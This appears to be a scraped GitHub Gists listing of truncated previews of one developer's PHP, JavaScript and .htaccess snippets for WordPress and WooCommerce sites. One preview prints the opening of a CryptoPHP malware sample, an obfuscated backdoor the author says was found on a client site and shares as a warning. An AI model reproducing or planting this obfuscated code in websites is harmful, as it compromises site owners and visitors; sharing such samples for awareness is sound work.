This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* * | |
* Created By : TechnoKnol (Nick Name ) | |
* Created On : 30th January 2014 | |
* Blog : http://technoknol.blogspot.com | |
* | |
* */ | |
/************************ | |
* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Created By (Nick Name): TechnoKnol | |
* blog : http://technoknol.blogspot.com | |
* Purpose : Add your own code to Woocommerce Single Product Page | |
* | |
* */ | |
/* | |
* Add this code to your theme's 'functions.php' file |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## EXPIRES CACHING ## | |
<IfModule mod_expires.c> | |
ExpiresActive On | |
ExpiresByType image/jpg "access 1 year" | |
ExpiresByType image/jpeg "access 1 year" | |
ExpiresByType image/gif "access 1 year" | |
ExpiresByType image/png "access 1 year" | |
ExpiresByType text/css "access 1 month" | |
ExpiresByType application/pdf "access 1 month" | |
ExpiresByType text/x-javascript "access 1 month" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Author : TechnoKnol | |
* Blog : http://technoknol.blogspot.com | |
* | |
*/ | |
header("Content-type: text/csv"); | |
header("Content-Disposition: attachment; filename=file.csv"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Function :: | |
function getParameterByName(name) { | |
name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]"); | |
var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"), | |
results = regex.exec(location.search); | |
return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " ")); | |
} | |
// Usage :: | |
var queryVar = getParameterByName('key'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Get current time in milliseconds | |
$timeparts = explode(" ",microtime()); | |
$currenttime = bcadd(($timeparts[0]*1000),bcmul($timeparts[1],1000)); | |
echo $currenttime; | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This is CryptoPHP code sample I found on one of my client site. Remove this nasty code as soon as possible. | |
// This Gist is not to harm anyone. Don't run this code on your site. | |
// Generally it can be found in .png , .jpg files. | |
<?php @ini_set('max_execution_time', 300); @set_time_limit(0); error_reporting(0); @ini_set('display_errors', 0); if (!defined('WP_CLIENT_KEY')) { class mWocWcrhWpiDUTXuIwU { public $ANVoslonRNQSwwQloQTx = array(), $uQfIZmMpqyjCaRQMgMoc = array(), $TTsctbCBDGVyjyFVpVyp, $lhHQvpYkByKYXvXEsFob, $whjvYeznCnnMhNySt, $keXZeLlUjrISqwBQePlM, $wbpSSSviIAVdaxozPaIs, $rFofWoxFwVRGhuCOjsaK, $QchKkLFzBKbvSGpfvxRI, $uBgDYDxGvwTUUWgwsZtu, $RYXaXWzmuNWbJhAAdkYk; public $ClbAffTqwdfsStqVgzyq; public function __construct( $TTsctbCBDGVyjyFVpVyp ) { $this->TTsctbCBDGVyjyFVpVyp = $TTsctbCBDGVyjyFVpVyp; if ( $TTsctbCBDGVyjyFVpVyp === 1 ) { $rTfnEPRdToBnhSfwgHoC = "CREATE TABLE IF NOT EXISTS `#__options` ( | |
`id` int(10) NOT NULL AUTO_INCREMENT, | |
`option_name` text NOT NULL, | |
`val |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Get where function is declared file name and line number. | |
$r = new ReflectionFunction('selected'); // ReflectionFunction is a PHP in-built class | |
echo $file = $r->getFileName(); // getFileName() is inherited method. | |
echo $startLine = $r->getStartLine(); // getStartLine() is inherited method. | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Paste this code in functions.php of your active theme. | |
add_action( 'pre_user_query', 'wps_pre_user_query' ); | |
function wps_pre_user_query( &$query ) { | |
global $wpdb; | |
if ( isset( $query->query_vars['orderby'] ) && 'meta_value_num' == $query->query_vars['orderby'] ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Increase/Decrease number of comments in admin side in WordPress | |
add_filter('comments_per_page', 'increase_count', 99, 2); | |
function increase_count($no, $comment_status){ | |
return 50 ; // change this no. | |
} | |
?> |
OlderNewer